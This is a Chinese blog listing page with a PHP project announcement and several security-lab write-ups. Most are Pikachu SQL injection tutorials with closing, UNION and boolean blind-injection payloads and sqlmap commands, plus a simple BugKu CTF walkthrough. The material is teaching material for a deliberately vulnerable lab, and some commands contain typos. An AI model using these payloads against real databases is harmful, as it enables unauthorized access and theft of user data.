找到
671
篇与
阿贵
相关的结果
- 第 40 页
-
企鹅展示系统开源发布:带后台管理的号码展示平台 企鹅展示系统开源发布:带后台管理的号码展示平台 前言 今天很高兴向大家分享一个我开发的"企鹅展示系统"——一个功能完善的号码信息展示平台,附带后台管理系统。这个项目完全开源,适合有一定PHP基础的开发者二次开发使用。 项目简介 企鹅展示系统是一个用于展示各类号码信息的Web应用,主要特点包括: q1.jpg图片 q2.jpg图片 前台展示页面简洁美观 完整的后台管理系统 支持大量数据展示 采用PHP+MySQL技术栈 开源可二次开发 下载地址 隐藏内容,请前往内页查看详情 安装教程 1. 环境准备 确保你的服务器满足以下要求: PHP 5.6或更高版本 MySQL 5.5或更高版本 Apache/Nginx Web服务器 2. 导入数据库 下载数据库文件后,使用phpMyAdmin或MySQL命令行工具导入: mysql -u username -p database_name < database.sql3. 配置系统 修改config.php文件中的数据库连接信息: define('DB_HOST', 'localhost'); define('DB_USER', 'your_username'); define('DB_PASS', 'your_password'); define('DB_NAME', 'your_database');4. 访问系统 前台访问地址:http://域名/ 后台访问地址:http://域名/admin 默认管理员账号:admin 默认密码:123456(请首次登录后立即修改) 系统功能 前台功能 号码信息分类展示 搜索功能 分页加载 响应式设计(适配手机端) 后台功能 号码信息管理(增删改查) 分类管理 用户管理 系统设置 已知问题与解决方案 目前系统存在一些小bug,我正在和朋友一起修复中。有能力的开发者可以自行修改: 分页问题:某些情况下分页显示不正确 解决方法:检查page.php中的分页逻辑 搜索功能不完善 解决方法:优化search.php中的SQL查询语句 后台部分表单验证缺失 解决方法:在提交处理前添加表单验证 PHP代码加密建议 为了保护您的代码安全,我推荐使用以下免费PHP加密平台: PHP代码加密平台 提供多种加密方式: Sg16版本 Deck3版本 Ic12版本 goto加密 enphp加密 noname方式等 该平台完全免费,可以有效保护您的PHP代码不被轻易反编译。 二次开发建议 界面美化:可以引入Bootstrap或Element UI等前端框架 功能扩展: 添加数据导出功能 实现API接口 增加多语言支持 性能优化: 添加缓存机制 优化数据库查询 结语 企鹅展示系统作为一个开源项目,希望能帮助到有类似需求的开发者。虽然目前还存在一些小问题,但核心功能已经完善。欢迎各位开发者下载使用,并参与项目的改进与完善。 如果你在使用过程中遇到任何问题,或者有改进建议,欢迎在评论区留言交流! 温馨提示:下载后请及时修改默认管理员密码,并检查系统安全性设置,确保生产环境安全。 -
pikachu上的xx型注入解题思路 下面这段代码对应的“XX型注入”属于特殊闭合方式的字符型注入,核心特点是参数被单引号+括号双重包裹,需要针对性构造payload。 if(isset($_GET['submit']) && $_GET['name']!=null){ //这里没有做任何处理,直接拼到select里面去了 $name=$_GET['name']; //这里的变量是字符型,需要考虑闭合 $query="select id,email from member where username=('$name')"; $result=execute($link, $query); if(mysqli_num_rows($result)>=1){ while($data=mysqli_fetch_assoc($result)){ $id=$data['id']; $email=$data['email']; $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>"; } }else{ $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>"; } } 关键特征分析 原始查询语句: select id,email from member where username=('$name') 用户输入的$name被包裹在 ('') 中(即先括号、再单引号) 正常情况下,输入test会变成 username=('test') 注入时需同时闭合单引号和括号,否则会触发语法错误 注入思路 闭合规则 需用 ') 来同时闭合单引号和括号,例如: 输入 x') 会使查询变成 username=('x'),此时前面的括号和引号已闭合。 基础payload示例 x') or 1=1#拼接后SQL变为: select id,email from member where username=('x') or 1=1#'') x') 闭合了原有的 (' or 1=1 构造永真条件 # 注释掉后面的剩余字符 '),避免语法错误 执行后会返回所有用户记录。 后续利用 与常规注入类似,闭合后可继续用union查询获取数据库信息,例如: x') union select database(),version()#sqlmap方法 获取数据库用户名 sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_x.php?name=test&submit=查询" --dbs --batch 获取数据库表名 sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_x.php?name=test&submit=查询" --D 数据库用户名 --tables --batch获取对应数据库表的信息 隐藏内容,请前往内页查看详情 字符型get-2.png图片 这种“XX型”本质是闭合方式更特殊(括号+单引号),核心仍是突破闭合并构造合法的恶意SQL,理解其包裹规则就能套用常规注入思路。 -
pikachu基于boolian的盲注详解 这是Pikachu平台中字符型SQL注入(含布尔判断特征) 的典型场景,存在明显的SQL注入漏洞,且特别适合布尔盲注测试,具体分析如下: if(isset($_GET['submit']) && $_GET['name']!=null){ $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了 $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合 //mysqi_query不打印错误描述,即使存在注入,也不好判断 $result=mysqli_query($link, $query);// // $result=execute($link, $query); if($result && mysqli_num_rows($result)==1){ while($data=mysqli_fetch_assoc($result)){ $id=$data['id']; $email=$data['email']; $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>"; } }else{ $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>"; } } 1. 漏洞核心特征 代码逻辑是: 接收用户输入的name参数(无任何过滤) 直接拼接到SQL查询:select id,email from member where username='$name' 关键判断:仅当查询结果刚好有1条记录时,显示your uid:xxx;否则显示不存在 这种“非此即彼”的返回逻辑,正是布尔盲注的典型环境——可以通过构造条件判断语句,根据页面返回“存在”或“不存在”来推断信息。 2. 布尔盲注利用思路 由于只有两种返回状态(成功/失败),无法直接获取数据,需通过条件判断逐步猜解信息: (1)验证注入点 1' and 1=1# 拼接后SQL:select ... where username='1' and 1=1#' 若页面显示your uid(存在),说明条件为真 1' and 1=2# 若页面显示不存在,说明条件为假,确认存在布尔盲注漏洞。 (2)猜解数据库名(以长度为例) 1' and length(database())=7# 若返回your uid,说明当前数据库名长度为7(Pikachu默认库名是pikachu,长度7)。 (3)逐字符猜解数据库名 1' and ascii(substr(database(),1,1))=112# substr(database(),1,1)取数据库名第1个字符 ascii()转换为ASCII码(112对应p) 若返回your uid,说明第1个字符是p,以此类推猜解完整名称。 正确解法是 隐藏内容,请前往内页查看详情 (4)猜解表名、字段名、数据 方法类似,例如猜解member表的字段: 1' and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name='member' limit 0,1)=105# 105对应i,即第1个字段可能是id。 正确解法是 隐藏内容,请前往内页查看详情 盲注布尔型.png图片 3. 为什么适合布尔盲注? 无错误回显:mysqli_query不显示具体错误,无法用联合查询直接获取数据 结果唯一判断:mysqli_num_rows($result)==1 只返回“存在1条”或“不存在”两种状态 闭合简单:字符型单引号闭合,容易构造条件语句 4. 修复建议 改用参数化查询(预处理语句),彻底杜绝注入: $stmt = mysqli_prepare($link, "select id,email from member where username=?"); mysqli_stmt_bind_param($stmt, 's', $name); mysqli_stmt_execute($stmt); $result = mysqli_stmt_get_result($stmt); 限制输入格式:只允许字母、数字等合法字符,过滤单引号等特殊符号。 这种场景下,手动盲注效率较低,实际测试中可结合Burp Suite的爆破功能或编写脚本自动化猜解。 sqlmap方法 获取数据库用户名 sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_blind_b.php?name=test&submit=查询" --dbs --batch获取数据库表名 sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_blind_b.phpp?name=test&submit=查询" --D 数据库用户名 --tables --batch获取对应数据库表的信息 隐藏内容,请前往内页查看详情 字符型get-2.png图片 -
pikachu上的sql字符型get注入详解 Pikachu漏洞练习平台 sql-字符型注入(get)题目: $name = $_GET['name']; // 这里的变量是字符型,需要考虑闭合 $query = "select id,email from member where username='$name'"; $result = execute($link, $query);构造闭合拼接 select id,email from member where username='1' or 1=1#'构造闭合拼接为永真条件 x' or 1=1#或者 x' and 1=1#都一样的 列举字段 x' order by 2#查看当前数据库用户名和数据库版本 x' union selet database(),version()#列出所有数据库 x' union select 1,group_concat(schema_name) from information_schema.schemata#列出表名 x' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#获取对应表的字段 x' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#获取管理员信息 隐藏内容,请前往内页查看详情 字符型get.png图片 最终获取的密码用md5解密就好了 sqlmap方法 获取数据库用户名 sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_str.php?name=test&submit=查询" --dbs --batch获取数据库表名 sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_str.php?name=test&submit=查询" --D 数据库用户名 --tables --batch获取对应数据库表的信息 隐藏内容,请前往内页查看详情 字符型get-2.png图片 -
BugKu "滑稽" Web题目解题思路与详细分析 BugKu "滑稽" Web题目解题思路与详细分析 题目概述 "滑稽"是BugKu平台上的一道经典Web安全题目,以其独特的解题方式和隐藏的线索著称。初次接触这道题目时,玩家通常会看到一个充满"😂"、"🤣"等emoji表情的页面,似乎没有任何实质性内容。 解题步骤详解 方法一:直接查看源代码(推荐) 滑稽.png图片 直接在题目地址前面加上“view-source:”就可以了 打开开发者工具: 使用快捷键F12或Ctrl+Shift+I打开浏览器开发者工具 在"Elements"或"源代码"标签页中查看完整HTML源码 查找flag: 使用Ctrl+F搜索关键词如"flag"、"key"等 通常在源代码的注释或隐藏元素中可以直接找到flag 方法二:网络请求分析 使用浏览器开发者工具的Network面板: 刷新页面记录所有请求 检查响应头和响应体中的特殊字段 查看加载的资源文件: 有时flag可能隐藏在引用的JS或CSS文件中 检查是否有异常的外部资源请求 方法三:编码分析 检查Unicode编码: 查找类似&#xXXXX;的编码 使用在线工具解码可疑编码段 Base64探测: 识别可能经过Base64编码的字符串 尝试解码页面中的特殊字符组合 题目技术原理 前端信息隐藏技术: 利用HTML注释隐藏关键信息 通过表情符号分散注意力 简单的编码混淆 考察点: 开发者工具的基本使用能力 源代码审计技巧 编码识别与解码能力 变种题目与扩展 可能的变种形式包括: 多重编码flag:flag可能经过多层编码(如Unicode+Base64) 条件触发显示:只有特定操作后才会显示关键信息 动态生成内容:通过AJAX或WebSocket动态获取flag内容 更复杂的混淆:使用JSFuck等混淆技术隐藏flag代码 防御与最佳实践 从开发角度,应该避免的安全实践: 不要在前端存储敏感信息:包括注释、隐藏域、JS变量等 不要依赖前端验证:所有关键验证应在后端进行 避免使用可逆的编码方式:如必须隐藏信息,使用强加密而非编码 总结 这道"滑稽"题目作为CTF中的基础题型,主要考察了以下技能: 基础工具使用:开发者工具的熟练运用 信息检索能力:从大量干扰信息中找出关键线索 编码识别能力:常见编码格式的识别与解码 最终答案通常直接隐藏在页面源代码中,格式为flag{...}或KEY{...}。这道题目虽然简单,但很好地展示了前端信息隐藏的基本手法和相应的解密技术。